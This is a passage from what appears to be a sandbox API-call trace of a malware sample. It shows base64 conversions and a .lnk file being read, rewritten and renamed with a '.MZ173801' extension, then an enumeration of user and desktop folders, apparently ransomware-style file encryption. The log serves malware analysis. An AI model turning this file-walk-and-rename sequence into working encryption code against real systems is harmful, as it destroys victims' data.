Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.668] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.670] CreateFileW (lpFileName="C:\\Users\\Default\\Links\\RecentPlaces.lnk" (normalized: "c:\\users\\default\\links\\recentplaces.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a4 [0144.670] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0144.671] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0144.671] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x16b [0144.671] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0144.671] ReadFile (in: hFile=0x2a4, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x16b, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f6c4*=0x16b, lpOverlapped=0x0) returned 1 [0144.673] CloseHandle (hObject=0x2a4) returned 1 [0144.673] CreateFileW (lpFileName="C:\\Users\\Default\\Links\\RecentPlaces.lnk" (normalized: "c:\\users\\default\\links\\recentplaces.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a4 [0144.674] WriteFile (in: hFile=0x2a4, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x16b, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f6d0*=0x16b, lpOverlapped=0x0) returned 1 [0144.675] CloseHandle (hObject=0x2a4) returned 1 [0144.675] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Links\\RecentPlaces.lnk" (normalized: "c:\\users\\default\\links\\recentplaces.lnk"), lpNewFileName="C:\\Users\\Default\\Links\\RecentPlaces.lnk.MZ173801" (normalized: "c:\\users\\default\\links\\recentplaces.lnk.mz173801")) returned 1 [0144.676] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.676] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Links\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa70c2bc0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa70c2bc0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x18f5ec, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.676] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.676] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.676] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.676] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.676] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.676] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.676] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.676] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.676] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.676] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.676] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.677] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0144.677] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0144.677] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Music\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x18f5ec, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.677] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.677] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.677] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.677] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Music\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x18f5ec, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.677] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.677] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.677] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.678] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.678] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.678] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0144.678] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0144.678] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Pictures\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x18f5ec, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.678] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.678] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.678] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.678] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Pictures\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x18f5ec, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.679] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.679] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.679] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.679] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.679] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.679] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0144.679] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0144.679] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Saved Games\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x18f5ec, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.679] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.679] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.679] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.680] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Saved Games\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x18f5ec, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.680] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.680] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.680] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.680] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.680] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.680] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0144.680] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0144.680] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Searches\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x18f5ec, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.682] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.682] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.682] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.682] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.683] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.683] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.683] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.684] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Searches\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x18f5ec, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.685] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.685] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.685] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.685] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.685] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.686] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0144.686] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0144.686] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Videos\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x18f5ec, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.686] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.686] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.686] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.686] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Videos\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x18f5ec, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.687] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.687] FindClose (in: hFindFile=0x2fc680 | out: hFindFile=0x2fc680) returned 1 [0144.687] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb28, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0144.687] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0144.687] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb28, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0144.687] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.*", lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x8163ab00, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0x8163ab00, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x41c6879a, dwReserved1=0xa03bf443, cFileName=".", cAlternateFileName="")) returned 0x2fc680 [0144.688] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1YD3Vxxzpsuk.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1yd3vxxzpsuk.wav"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd59a33f0, ftCreationTime.dwHighDateTime=0x1d5de15, ftLastAccessTime.dwLowDateTime=0x9ca8a980, ftLastAccessTime.dwHighDateTime=0x1d5db0b, ftLastWriteTime.dwLowDateTime=0x9ca8a980, 